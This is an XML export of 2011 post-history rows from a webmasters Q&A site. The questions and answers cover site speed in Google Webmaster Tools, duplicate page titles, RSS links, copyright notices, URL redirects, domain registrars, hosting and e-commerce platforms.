  <row Id="37443" PostHistoryTypeId="2" PostId="15785" RevisionGUID="5d53f600-7f17-4881-a9b5-83b0ae2127e5" CreationDate="2011-06-23T15:55:20.260" UserId="7198" Text="You could use [Posterous](http://posterous.com/) and set up a Group, which does exactly what you describe. A group gives you a `yourgroup@posterous.com` address, and anyone can email photos to that address for it to appear on the group page.&#xD;&#xA;&#xD;&#xA;For example, in [this blog post](http://blog.posterous.com/an-app-to-end-it-posterous-events-at-graduati) they create a collaborative photo album for a graduation ceremony.&#xD;&#xA;&#xD;&#xA;To get started, sign up on their homepage with your email address, username, and password, then choose the 'group' box in the popup you see on the next page:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;You can then choose to make the group private (invite only) or public (anyone can post):&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/2INAL.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/ogNNQ.jpg" />
  <row Id="37444" PostHistoryTypeId="2" PostId="15786" RevisionGUID="d03e27ab-beb1-4a29-b3e5-b9e0b560fd86" CreationDate="2011-06-23T15:59:54.120" UserId="1429" Text="Looking into Google webmaster tools it happened to me many times to see for some of my sites these type of inconsistency, **in the text they say my site is faster** than 63% of sites, **but when I look at the graph** the site is on the **SLOW background** (over the 1.5 seconds line).&#xD;&#xA;&#xD;&#xA;**So do you know if my site is considered fast or slow by Google?**&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/u0MKG.jpg&#xD;&#xA;&#xD;&#xA;Is it me not able to read properly the graph?&#xD;&#xA;" />
  <row Id="37445" PostHistoryTypeId="1" PostId="15786" RevisionGUID="d03e27ab-beb1-4a29-b3e5-b9e0b560fd86" CreationDate="2011-06-23T15:59:54.120" UserId="1429" Text="Google webmaster tools Site Performance says site is faster but shows it slow in the graph" />
  <row Id="37446" PostHistoryTypeId="3" PostId="15786" RevisionGUID="d03e27ab-beb1-4a29-b3e5-b9e0b560fd86" CreationDate="2011-06-23T15:59:54.120" UserId="1429" Text="&lt;google-webmaster-tools&gt;&lt;performance&gt;" />
  <row Id="37447" PostHistoryTypeId="2" PostId="15787" RevisionGUID="61f1c61c-f43e-463b-95f2-89f6716ee16e" CreationDate="2011-06-23T16:03:56.440" UserId="1643" Text="It's slow, there are lots of even slower ones. Fast does not mean &quot;in the top X%&quot;, it means &quot;average load time is less than 1.5 seconds&quot;." />
  <row Id="37448" PostHistoryTypeId="2" PostId="15788" RevisionGUID="197a3558-739a-4f94-ba78-6f06d4208936" CreationDate="2011-06-23T16:04:12.813" UserId="1253" Text="Being faster then 63% of sites doesn't mean your site is fast. It just means you're faster then 63% of the other websites in the world.&#xD;&#xA;&#xD;&#xA;Also, fast is a relative term. Google apparently defines fast as being approximately 1 second or faster. So to Google your site is slow. But to humans your site may still be seen as fast.&#xD;&#xA;&#xD;&#xA;Based on the chart I see I think you have room for improvement on your page loading speed. At the same time, your site looks fast enough that page speed won't hurt your pages' rankings. That is reserved for sites that load very slow. Yours is definitely not that slow." />
  <row Id="37449" PostHistoryTypeId="5" PostId="15784" RevisionGUID="5c413427-c1c6-4ac6-87f3-39269d5c8ed4" CreationDate="2011-06-23T16:06:35.113" UserId="1643" Comment="deleted 1 characters in body; added 195 characters in body" Text="These words may occur in links to your site. If you search Google for `link:yoursite.com` you can look at the links to your site and see what words they are using.&#xD;&#xA;&#xD;&#xA;Another reason might be that your site has been hacked and some other pages inserted that you don't know about. It might be one dynamic page (e.g. php) that keeps generating lots of keywords." />
  <row Id="37450" PostHistoryTypeId="5" PostId="15717" RevisionGUID="0537f513-3c91-4a70-a1c3-4ade750e7784" CreationDate="2011-06-23T16:09:23.580" UserId="4502" Comment="added 38 characters in body" Text="If you look at the source code for your Tumblr site, you'll see a feed auto-discovery link in the head section that'll look like this:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;/rss&quot;&gt;&#xD;&#xA;&#xD;&#xA;Copy that line, and in your text editor, change it to:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; href=&quot;http://domain.tumblr.com/rss&quot;&gt;&#xD;&#xA;&#xD;&#xA;(Replace domain.tumblr.com with whatever your actual Tumblr address is)  &#xD;&#xA;Add that line to the template for the rest of your regular site, in the head section." />
  <row Id="37451" PostHistoryTypeId="5" PostId="15751" RevisionGUID="d5c0f6aa-7405-4ba7-96ac-31100ecd1b1f" CreationDate="2011-06-23T16:17:15.010" UserId="8503" Comment="added 766 characters in body" Text="Identify crawlers from major search sites and automatically allow them access without credentials, as in [this answer](http://stackoverflow.com/questions/916147/how-to-identify-web-crawlers-of-google-yahoo-msn-by-php).&#xD;&#xA;&#xD;&#xA;Then you can catch links from the search engine referrer and transfer viewers to a page advertising your site. &#xD;&#xA;&#xD;&#xA;As the OP said this would only be for a &quot;couple months&quot; this should be okay. I wouldn't go submitting any Sitemaps for it, though, until the final site is finished. &#xD;&#xA;&#xD;&#xA;As for the earlier answer that got voted up, it's wrong. The site experts-exchange.com doesn't give exclusive access to Google users, it effectively gives the information to all viewers. (Try Y!, it works.) The site obfuscates information by shoving it far down a super-long page crammed with wording designed to compel viewers to pay for a login to see what's there free, anyway. They change the page based on a search-engine referrer -- basically identical to the answer provided here. Yet, somehow, Google works for their site search and ranks their results frequently high. Riddle me that." />
  <row Id="37452" PostHistoryTypeId="5" PostId="15751" RevisionGUID="7d53f491-96f9-4a23-8b39-da778b8c3de0" CreationDate="2011-06-23T16:27:56.420" UserId="8503" Comment="added 182 characters in body" Text="Identify crawlers from major search sites and automatically allow them access without credentials, as in [this answer](http://stackoverflow.com/questions/916147/how-to-identify-web-crawlers-of-google-yahoo-msn-by-php).&#xD;&#xA;&#xD;&#xA;Then you can catch links from the search engine referrer and reformat the page (well, really extend its length with more information, I think) based on being from a search engine. (See experts-exchange example and writeup in this answer.)&#xD;&#xA;&#xD;&#xA;As the OP said this would only be for a &quot;couple months&quot; this should be okay. I wouldn't go submitting any Sitemaps for it, though, until the final site is finished. &#xD;&#xA;&#xD;&#xA;As for the other answer that got voted up, it's at least partly wrong. The site experts-exchange.com doesn't give exclusive access to Google users, it effectively gives the information to all viewers. (Try Y!, it works.) The site obfuscates information by shoving it at the bottom of a super-long page crammed with wording designed to compel viewers to pay for a login to see what's there free, anyway. Experts-exchange changes the page based on a search-engine referrer -- basically identical to the answer provided here. Yet, somehow, Google works for their site-search and continues to rank their results frequently high. Riddle me that, Batman." />
  <row Id="37453" PostHistoryTypeId="2" PostId="15789" RevisionGUID="b693115b-e24d-4b4a-b7ab-aa2957aecbc5" CreationDate="2011-06-23T16:30:03.750" UserId="3310" Text="Whenever you use windows passwords to logon you should also use SSL. (This is more vital if you allow basic auth)  This is to avoid privilege escalation both for your own users and as a multilayered security strategy." />
  <row Id="37454" PostHistoryTypeId="2" PostId="15790" RevisionGUID="4616303e-f438-4703-8d31-09796d61b99a" CreationDate="2011-06-23T16:40:15.320" UserId="8469" Text="You are right to be wary of the year range copyrights!  These have no legal meaning, and it's entirely possible that their use would weaken your position in the unlikely case that you went to court.&#xD;&#xA;&#xD;&#xA;Of course Berne signatory states (most countries including the US) don't require notice, but posting notice gives you certain rights including the rebuttable presumption that the other party knew that your material was copyrighted." />
  <row Id="37455" PostHistoryTypeId="2" PostId="15791" RevisionGUID="da541812-0016-4509-8e87-4dc98794d718" CreationDate="2011-06-23T16:42:57.500" UserId="5631" Text="I have a web site where there are lots of dynamically (database driven) created pages. These pages are basically used to show uploaded images&#xD;&#xA;&#xD;&#xA;The pages look a bit like this&#xD;&#xA;&#xD;&#xA;URL: http://www.mywebsite.com/page-id/page-title/&#xD;&#xA;&#xD;&#xA;H1: &lt;h1.&gt;View from the sea&lt;/h1.&gt;&#xD;&#xA;&#xD;&#xA;This is a big issue because I might have 10 other pages with the title: 'View from the sea'. I know the simple solution would be to make sure the pages are named differently but I have lots of users on the web site so it's not that simple.&#xD;&#xA;&#xD;&#xA;What do you guys think to putting the page-id with the page-title in the H1 tag? So it might read &lt;h1.&gt;437 - View from the sea&lt;/h1.&gt;. I need to differentiate the h1 titles. I think using the page-id would help but if anyone has a better solution that would be great!&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="37456" PostHistoryTypeId="1" PostId="15791" RevisionGUID="da541812-0016-4509-8e87-4dc98794d718" CreationDate="2011-06-23T16:42:57.500" UserId="5631" Text="Stopping duplicate H1 and title from dynamic content" />
  <row Id="37457" PostHistoryTypeId="3" PostId="15791" RevisionGUID="da541812-0016-4509-8e87-4dc98794d718" CreationDate="2011-06-23T16:42:57.500" UserId="5631" Text="&lt;duplicate-content&gt;&lt;title&gt;&lt;dynamic&gt;" />
  <row Id="37458" PostHistoryTypeId="5" PostId="15790" RevisionGUID="84420164-6330-4f60-a855-ae4803bed4c3" CreationDate="2011-06-23T16:48:19.930" UserId="8469" Comment="dual copyright" Text="You are right to be wary of the year range copyrights!  These have no legal meaning, and it's entirely possible that their use would weaken your position in the unlikely case that you went to court.&#xD;&#xA;&#xD;&#xA;Of course Berne signatory states (most countries including the US) don't require notice, but posting notice gives you certain rights including the rebuttable presumption that the other party knew that your material was copyrighted.&#xD;&#xA;&#xD;&#xA;As for the double-copyright question, if you add your own content to a work which is already copyrighted, both parties own the copyright to what results (called a &quot;derivative work&quot;).  _Neither party can use a derivative work_ without the permission of the other!  So be very careful in those situations." />
  <row Id="37461" PostHistoryTypeId="2" PostId="15793" RevisionGUID="c9960041-02d2-4318-9d40-28958ef3bf02" CreationDate="2011-06-23T17:18:52.253" UserId="8506" Text="how many links ?&#xD;&#xA;&#xD;&#xA;With redirection plugin, you can edit a link manually !&#xD;&#xA;&#xD;&#xA;Other way, you find the file where links are stored (Redirection),&#xD;&#xA;then a batch process with textwrangler (using Regex) to rewrite URL and it's done !&#xD;&#xA;&#xD;&#xA;Sebastien" />
  <row Id="37462" PostHistoryTypeId="2" PostId="15794" RevisionGUID="e7497f45-3e28-4239-aaf9-443df0d6bf11" CreationDate="2011-06-23T17:41:11.100" UserId="8510" Text="Do a search for `site:yoursite.com homez` and you will find many mysql-errors.&#xD;&#xA;&#xD;&#xA;For a while your site has had a problem with the SQL-database. Google has indexed all the error-messages on 13 Jun 2011 06:03:45 GMT" />
  <row Id="37463" PostHistoryTypeId="2" PostId="15795" RevisionGUID="79520c8b-0f74-4e02-b5fd-a63f33deed7d" CreationDate="2011-06-23T17:45:00.047" UserId="7206" Text="Every time when I open the site it to scroll down. About 1500 pixels down. The most interesting - I have not changed anything and before this problem was not.&#xD;&#xA;&#xD;&#xA;MODx Evo 1.0.5&#xD;&#xA;&#xD;&#xA;http://virtual-fortune-teller.com/" />
  <row Id="37464" PostHistoryTypeId="1" PostId="15795" RevisionGUID="79520c8b-0f74-4e02-b5fd-a63f33deed7d" CreationDate="2011-06-23T17:45:00.047" UserId="7206" Text="Why my site automatically scroll down?" />
  <row Id="37465" PostHistoryTypeId="3" PostId="15795" RevisionGUID="79520c8b-0f74-4e02-b5fd-a63f33deed7d" CreationDate="2011-06-23T17:45:00.047" UserId="7206" Text="&lt;css&gt;" />
  <row Id="37466" PostHistoryTypeId="2" PostId="15796" RevisionGUID="0a7282fb-5a90-419e-8757-25f05f730043" CreationDate="2011-06-23T18:00:12.567" UserId="1737" Text="Suppose I setup a games website, and put a disclaimer on it, such as &quot;This site is **not** for gold-sales or RMT (real-money-transfers)&quot;. &#xD;&#xA;&#xD;&#xA;How will Google (or other engines) interpret that? Will searches for RMT find it regardless of how I phrase it? Or is there a *better* way to phrase a negative statement?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37467" PostHistoryTypeId="1" PostId="15796" RevisionGUID="0a7282fb-5a90-419e-8757-25f05f730043" CreationDate="2011-06-23T18:00:12.567" UserId="1737" Text="How does Google interpret negative statements, like &quot;this site is *not* for X&quot;?" />
  <row Id="37468" PostHistoryTypeId="3" PostId="15796" RevisionGUID="0a7282fb-5a90-419e-8757-25f05f730043" CreationDate="2011-06-23T18:00:12.567" UserId="1737" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="37469" PostHistoryTypeId="2" PostId="15797" RevisionGUID="e115c963-3040-4877-b3b8-7ba10e19ec10" CreationDate="2011-06-23T18:11:34.020" UserId="1253" Text="If you have any content that mentions gold sales or real money transfers you will rank better for it then sites that do not. After all, the text on your web pages are a big part of Google's ranking algorithm. So if you mention it, you might rank well for it.&#xD;&#xA;&#xD;&#xA;If you don't want to rank well for those terms don't use content that mentions those keywords. Also, don't have any content that would attract links using those keywords.&#xD;&#xA;&#xD;&#xA;Having said all that, the odds of you ranking well for those terms are fairly slim. There probably are enough sites that are targeting those keywords that they'll naturally outrank you. Additionally, if you do come up for searches using those keywords, assuming you don't have an ODP listing or meta description tag, Google will use snippets of the page containing that text as it's description for your listing. That means users will see that your site is not for those things so they probably won't click through and visit your site anyway." />
  <row Id="37470" PostHistoryTypeId="2" PostId="15798" RevisionGUID="c458c32b-fc56-4b66-8d9f-11f145e5f8cc" CreationDate="2011-06-23T18:15:16.860" UserId="4502" Text="This, in your source code:&#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        if (document.loginfrm) document.loginfrm.username.focus();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;...checks whether the document has a form with id &quot;loginfrm&quot; in it, and if so gives it &lt;a href=&quot;https://developer.mozilla.org/en/DOM/element.focus&quot;&gt;focus&lt;/a&gt;. (Let the page load and start typing; you'll see the User field getting field out.) Since you seem unaware this even existed, I can only guess some plugin or CMS function is injecting it automatically. You'll have to determine how to remove it." />
  <row Id="37471" PostHistoryTypeId="2" PostId="15799" RevisionGUID="1e7b16dc-a3c0-4156-a07f-6c609f979e79" CreationDate="2011-06-23T18:19:54.780" UserId="1253" Text="I'm going to answer this from an SEO perspective since the comments on your question do a good job of addressing the other issues at hand.&#xD;&#xA;&#xD;&#xA;Because the pages on your site will have very little content (I am assuming you are showing an image and possibly a description of it) if your pages have the same `&lt;title&gt;` and `&lt;h1&gt;` tags they will be very similar to each and may run into duplicate content issues. Naturally you want to avoid this.&#xD;&#xA;&#xD;&#xA;My recommendation is to add as much content to those pages as possible to help them differentiate themselves. Make sure you add things like the name of the person who uploaded it, the date it was uploaded, where the picture was taken, etc. If you don't have descriptions for those images you should consider allowing users to add one. I would also recommend allowing comments for each picture as that will help generate unique content for each page.&#xD;&#xA;&#xD;&#xA;I would also recommend differentiating the `&lt;title&gt;` and `&lt;h1&gt;` tags if at all possible. Adding the ID isn't necessarily a bad thing but you might be able to do it better. Maybe append the name of the user who submitted it to them. Like this:&#xD;&#xA;&#xD;&#xA;    &quot;View from the sea&quot; by Ben Dover&#xD;&#xA;&#xD;&#xA;If that doesn't help then maybe adding the date submitted to the `&lt;title&gt;`, and maybe the `&lt;h1&gt;`, might be in order. Place them after the title of the picture as they are less important then the title of the photo." />
  <row Id="37472" PostHistoryTypeId="25" PostId="15796" RevisionGUID="3ad3bd59-7991-4a09-951e-3c215ab1396a" CreationDate="2011-06-23T18:24:59.487" Comment="http://twitter.com/#!/StackWebmasters/status/83963778382827520" />
  <row Id="37473" PostHistoryTypeId="5" PostId="15798" RevisionGUID="b3d548cb-8743-47fb-a9e7-e6fde389b860" CreationDate="2011-06-23T18:50:58.217" UserId="4502" Comment="added 18 characters in body" Text="This, in your source code:&#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        if (document.loginfrm) document.loginfrm.username.focus();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;...checks whether the document has a form with id &quot;loginfrm&quot; in it, and if so gives the &quot;username&quot; field &lt;a href=&quot;https://developer.mozilla.org/en/DOM/element.focus&quot;&gt;focus&lt;/a&gt;. (Let the page load and start typing; you'll see the User field getting field out.) Since you seem unaware this even existed, I can only guess some plugin or CMS function is injecting it automatically. You'll have to determine how to remove it." />
  <row Id="37474" PostHistoryTypeId="2" PostId="15800" RevisionGUID="8f94528e-adda-45a5-af16-453fb5ab8c0a" CreationDate="2011-06-23T18:51:58.590" UserId="3211" Text="I was wondering if any one could offer me some advice as to the best resources out there (ideally books) on google analytics. I have a basic understanding but have a lot of room for improvement.&#xD;&#xA;&#xD;&#xA;The following book &quot;Advanced Web Metrics with Google Analytics&quot; by Brian Clifton, appears to be a good starting but but is already quite dated, even though published in march 2010. &#xD;&#xA;&#xD;&#xA;Any advice would be greatly appreciated." />
  <row Id="37475" PostHistoryTypeId="1" PostId="15800" RevisionGUID="8f94528e-adda-45a5-af16-453fb5ab8c0a" CreationDate="2011-06-23T18:51:58.590" UserId="3211" Text="A good resource to get the most out of Google Analytics" />
  <row Id="37476" PostHistoryTypeId="3" PostId="15800" RevisionGUID="8f94528e-adda-45a5-af16-453fb5ab8c0a" CreationDate="2011-06-23T18:51:58.590" UserId="3211" Text="&lt;google-analytics&gt;" />
  <row Id="37477" PostHistoryTypeId="2" PostId="15801" RevisionGUID="c1f6a607-6ee6-4114-92ad-23e82c6fe7e4" CreationDate="2011-06-23T19:13:15.903" UserId="1603" Text="**Composite C1 CMS** is free open source and the [best rated .net CMS at CodePlex][1].&#xD;&#xA;&#xD;&#xA;You can get it from the [Composite C1 website][2] or the Windows Web App Gallery.&#xD;&#xA;&#xD;&#xA;![Screenshot from Composite C1 UI][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/BestRatedCmsOnCodePlex&#xD;&#xA;  [2]: http://www.composite.net/&#xD;&#xA;  [3]: http://i.stack.imgur.com/BGfBn.png" />
  <row Id="37478" PostHistoryTypeId="16" PostId="15801" RevisionGUID="12387308-d0c7-46c1-83e4-d67c12f10b57" CreationDate="2011-06-23T19:13:15.903" UserId="1603" />
  <row Id="37479" PostHistoryTypeId="5" PostId="15801" RevisionGUID="8d716ac0-d788-491b-9283-7a9b31cab40c" CreationDate="2011-06-23T19:18:26.413" UserId="1603" Comment="added 201 characters in body; added 105 characters in body" Text="**Composite C1 CMS** is free open source and the [best rated .net CMS at CodePlex][1]. It can integrate with nopCommerce (free open source and [best rated shop at CodePlex][2]). Both are .net 4.0 based.&#xD;&#xA;&#xD;&#xA;You can get it from the [Composite C1 website][3] or the Windows Web App Gallery.&#xD;&#xA;&#xD;&#xA;![Screenshot from Composite C1 UI][4]&#xD;&#xA;&#xD;&#xA;As John state below, I'm on the Composite C1 dev team, so rely on the CodePlex ratings, not my word ;-)&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/BestRatedCmsOnCodePlex&#xD;&#xA;  [2]: http://www.codeplex.com/site/search?tagName=shop&amp;sortBy=CurrentReleaseRating&#xD;&#xA;  [3]: http://www.composite.net/&#xD;&#xA;  [4]: http://i.stack.imgur.com/BGfBn.png" />
  <row Id="37486" PostHistoryTypeId="2" PostId="15803" RevisionGUID="72b07c44-1ff5-42d3-a0ef-6037416bf17a" CreationDate="2011-06-23T19:58:37.707" UserId="8263" Text="I did a complete URL rewriting of my site some three months ago, however Google still features many of the old URLs. &#xD;&#xA;&#xD;&#xA;They're not dead links as they correctly redirect to the new URLs, but it sort of spoils part of the URL rewriting benefits.&#xD;&#xA;&#xD;&#xA;Is that something to worry/care about or will they eventually die out naturally anyway and it's best to let them disappear ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37487" PostHistoryTypeId="1" PostId="15803" RevisionGUID="72b07c44-1ff5-42d3-a0ef-6037416bf17a" CreationDate="2011-06-23T19:58:37.707" UserId="8263" Text="After URL rewriting, Google still features many of the the old, &quot;dirty&quot; URLs." />
  <row Id="37488" PostHistoryTypeId="3" PostId="15803" RevisionGUID="72b07c44-1ff5-42d3-a0ef-6037416bf17a" CreationDate="2011-06-23T19:58:37.707" UserId="8263" Text="&lt;google&gt;&lt;url-rewriting&gt;&lt;serps&gt;" />
  <row Id="37489" PostHistoryTypeId="2" PostId="15804" RevisionGUID="230c8f61-9d66-4915-b7ff-adcde90b57b2" CreationDate="2011-06-23T20:02:21.493" UserId="108" Text="It is best to let them disappear as long as your redirects are 301's.  Google will in time see that they are 301(permanent) redirects and will switch over to the new URL. I have done this myself and you should see results within 2-4 weeks, if not faster.  &#xD;&#xA;&#xD;&#xA;If it has been more than a month and your old URLs are still showing up in Google's SERPs then you need to look into your redirects and make sure the headers are correct." />
  <row Id="37496" PostHistoryTypeId="25" PostId="15803" RevisionGUID="529fd7e0-91aa-46f0-af3b-038b91249ec2" CreationDate="2011-06-23T21:25:00.080" Comment="http://twitter.com/#!/StackWebmasters/status/84009078531178497" />
  <row Id="37497" PostHistoryTypeId="2" PostId="15806" RevisionGUID="9c78d516-30f6-419d-9419-fb517ccd6b04" CreationDate="2011-06-23T21:29:15.007" UserId="8515" Text="JavaScript. JavaScript + HTML5 if you need it.&#xD;&#xA;&#xD;&#xA;You can still serve it statically and it can do all kinds of things without a full web server. You can even use local storage for persisting data (only on the local browser though, in modern browsers with HTML5 local storage support), sorting, calculations, etc. Look into a JavaScript library to make the coding a lot easier.&#xD;&#xA;&#xD;&#xA;Of course, there are a lot of pros and cons to using a more typical set of web technologies. For a more detailed answer, you should add to your Question some examples of what kind of tasks you are looking to do." />
  <row Id="37498" PostHistoryTypeId="2" PostId="15807" RevisionGUID="2b60d21c-2f68-4853-a54e-45ddefb2ea9d" CreationDate="2011-06-23T21:59:21.563" UserId="8515" Text="There are lots of hosts out there. One who I've used, and who stays very current with MS technologies and has reasonable prices, is [discountASP.NET][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://discountasp.net/" />
  <row Id="37499" PostHistoryTypeId="2" PostId="15808" RevisionGUID="c63e951d-9489-4b2d-8983-deeb7c74f436" CreationDate="2011-06-23T22:10:26.110" UserId="8515" Text="Using the CSS `display: inline-block` would be the best way to do it. Depending on your browser compatibility needs, you may need to use some workarounds since it is only supported in modern browsers consistently.&#xD;&#xA;&#xD;&#xA;A List Apart has a good article about how to use the `inline-block` setting: [Prettier Accessible Forms][1].&#xD;&#xA;&#xD;&#xA;Then, to get some parts to wrap or not, just use the usual word breaking/non-breaking `&amp;nbsp;` or `width: ...` specifications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/prettyaccessibleforms" />
  <row Id="37500" PostHistoryTypeId="2" PostId="15809" RevisionGUID="3f1a694c-d2b7-4384-980b-c6c3a1a2b1fa" CreationDate="2011-06-23T22:19:07.287" UserId="8515" Text="If you just need anecdotal numbers, not exact rates, you can use the built-into Windows 7 &quot;Resource Monitor&quot; ([5 Ways to Monitor and Improve Windows 7 Performance][1]). Linux has the rrdtool ([Network Traffic Monitoring with RRDTool][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nirmaltv.com/2009/07/29/5-ways-to-monitor-and-improve-windows-7-performance/&#xD;&#xA;  [2]: http://martybugs.net/linux/rrdtool/traffic.cgi" />
  <row Id="37501" PostHistoryTypeId="2" PostId="15810" RevisionGUID="7ada42eb-593a-4681-94f0-fed60f69b6d2" CreationDate="2011-06-23T22:42:23.617" UserId="231" Text="You can always use a bandwidth monitor (e.g.: [DU Meter][1], for Windows).&#xD;&#xA;&#xD;&#xA; [1]: http://www.hageltech.com/dumeter/about" />
  <row Id="37502" PostHistoryTypeId="2" PostId="15811" RevisionGUID="5e2b95ee-4851-4f96-bff4-261c0a2bfd9a" CreationDate="2011-06-23T23:10:16.930" UserId="8519" Text="I am looking for a domain registrar that offers an API that would allow changes like name servers to be made programmatically. GoDaddy do not seem to offer this, so I figured this might be a good forum to find out who does." />
  <row Id="37503" PostHistoryTypeId="1" PostId="15811" RevisionGUID="5e2b95ee-4851-4f96-bff4-261c0a2bfd9a" CreationDate="2011-06-23T23:10:16.930" UserId="8519" Text="Which domain registrar offers the most complete API?" />
  <row Id="37504" PostHistoryTypeId="3" PostId="15811" RevisionGUID="5e2b95ee-4851-4f96-bff4-261c0a2bfd9a" CreationDate="2011-06-23T23:10:16.930" UserId="8519" Text="&lt;registrar&gt;&lt;api&gt;" />
  <row Id="37505" PostHistoryTypeId="2" PostId="15812" RevisionGUID="7e342363-b3ea-4765-9d20-1ab535bc7073" CreationDate="2011-06-23T23:47:23.310" UserId="110" Text="winhost.com is where I do some development work and host my personal stuff too.  They meet your needs." />
  <row Id="37506" PostHistoryTypeId="6" PostId="10571" RevisionGUID="1544780c-d0ce-4e30-8c40-267200fa2929" CreationDate="2011-06-23T23:55:56.877" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="37507" PostHistoryTypeId="25" PostId="15811" RevisionGUID="274be81e-5ba7-475f-a926-381595d00e2a" CreationDate="2011-06-24T00:25:01.303" Comment="http://twitter.com/#!/StackWebmasters/status/84054380252368896" />
  <row Id="37508" PostHistoryTypeId="2" PostId="15813" RevisionGUID="bc8e4ca0-c569-4a27-9b64-b49084045225" CreationDate="2011-06-24T00:27:38.213" UserId="2251" Text="I'm transferring a .com domain from GoDaddy to 1and1 (UK) and I'm wondering if anyone could tell me a likely timeframe for its completion? 1and1 say &quot;up to 5 days&quot;, but that's pretty vague. &#xD;&#xA;&#xD;&#xA;What's the usual amount of time **after responding to the ACK request?**" />
  <row Id="37509" PostHistoryTypeId="1" PostId="15813" RevisionGUID="bc8e4ca0-c569-4a27-9b64-b49084045225" CreationDate="2011-06-24T00:27:38.213" UserId="2251" Text="Transferring a .com domain... Realistic timeframe?" />
  <row Id="37510" PostHistoryTypeId="3" PostId="15813" RevisionGUID="bc8e4ca0-c569-4a27-9b64-b49084045225" CreationDate="2011-06-24T00:27:38.213" UserId="2251" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;registrar&gt;&lt;transfer&gt;" />
  <row Id="37511" PostHistoryTypeId="2" PostId="15814" RevisionGUID="a161ac07-5b8e-462d-9939-852d0bafad09" CreationDate="2011-06-24T01:07:10.243" UserId="6210" Text="I created a business website for a family business which is growing.&#xD;&#xA;&#xD;&#xA;It's my family, and I'm a software developer, but I don't want to rebuild the wheels or be a shopping cart programmer. For this business, I need the web store to &quot;just work&quot;, but... it gets complicated...&#xD;&#xA;&#xD;&#xA;There are two parts of this business website. One of them is driven by Wordpress and I use the awesome Thesis theme.  This is modern, flexible, and saves me a lot of time from doing custom coding and styling. I couldn't be more pleased with this arrangement.&#xD;&#xA;&#xD;&#xA;The other part of the site is a Zen Cart store. It's administration and it's flexibility is frustrating and archaic Web 1.0.  For the past few years, I keep hearing that the developers are working on a 2.0 version of Zen Cart, but they haven't communicated anything significant in the past few years other than to say, &quot;When it's ready, we'll let you know.&quot;&#xD;&#xA;&#xD;&#xA;What I'm looking for in a cart, I would need to install 6-10 additional mods, and would need to do a lot of custom coding.&#xD;&#xA;&#xD;&#xA;I'm now willing to pay for a top-notch e-commerce solution for a small business that we can grow up into a larger business over time.&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;  * Extremely flexible shipping that let's us set up rules per product/category, tables of rates, calculated rates, max package weighs, etc. (flexibility like that available with [CEON Advance Shipping Module for Zen Cart][1]&#xD;&#xA;&#xD;&#xA;  * Coupons and gift certificates&#xD;&#xA;&#xD;&#xA;  * Manual order entry for phone orders&#xD;&#xA;&#xD;&#xA;  * Multi-channel support (We also sell on Amazon, eBay, use Google Base and we want to maintain one set of inventory and have it kept current)&#xD;&#xA;&#xD;&#xA;  * Decent SEO features&#xD;&#xA;&#xD;&#xA;  * Reviews and star-ratings on products&#xD;&#xA;&#xD;&#xA;  * Easy social networking features for sharing, following, liking, etc)&#xD;&#xA;&#xD;&#xA;  * Easy integration with AdWords and analytics tracking&#xD;&#xA;&#xD;&#xA;  * Modern and very usable product and store administration (Like I was saying, I'm spoiled by Wordpress and Thesis)&#xD;&#xA;&#xD;&#xA;At the end of the day, I don't care if it's a hosted solution or if I have to host it myself. I just want something that is going to stay up-to-date, regularly be maintained and improved, and if I have to update it, things like the one-click update present in Wordpress is something it has to have.&#xD;&#xA;&#xD;&#xA;Professional Webmasters, if you had to run a store / website, but you had to spend your time focusing on your sales and marketing efforts rather than diffing php files and copying and tweaking them to change even the slightest details of your site, what would you choose?&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.ceon.net/web/zen-cart/advanced-shipper" />
  <row Id="37512" PostHistoryTypeId="1" PostId="15814" RevisionGUID="a161ac07-5b8e-462d-9939-852d0bafad09" CreationDate="2011-06-24T01:07:10.243" UserId="6210" Text="Should I be looking for an alternative to Zen Cart as my business grows?" />
  <row Id="37513" PostHistoryTypeId="3" PostId="15814" RevisionGUID="a161ac07-5b8e-462d-9939-852d0bafad09" CreationDate="2011-06-24T01:07:10.243" UserId="6210" Text="&lt;ajax&gt;&lt;open-source&gt;&lt;shopping-cart&gt;&lt;shopping&gt;&lt;hosted-service&gt;" />
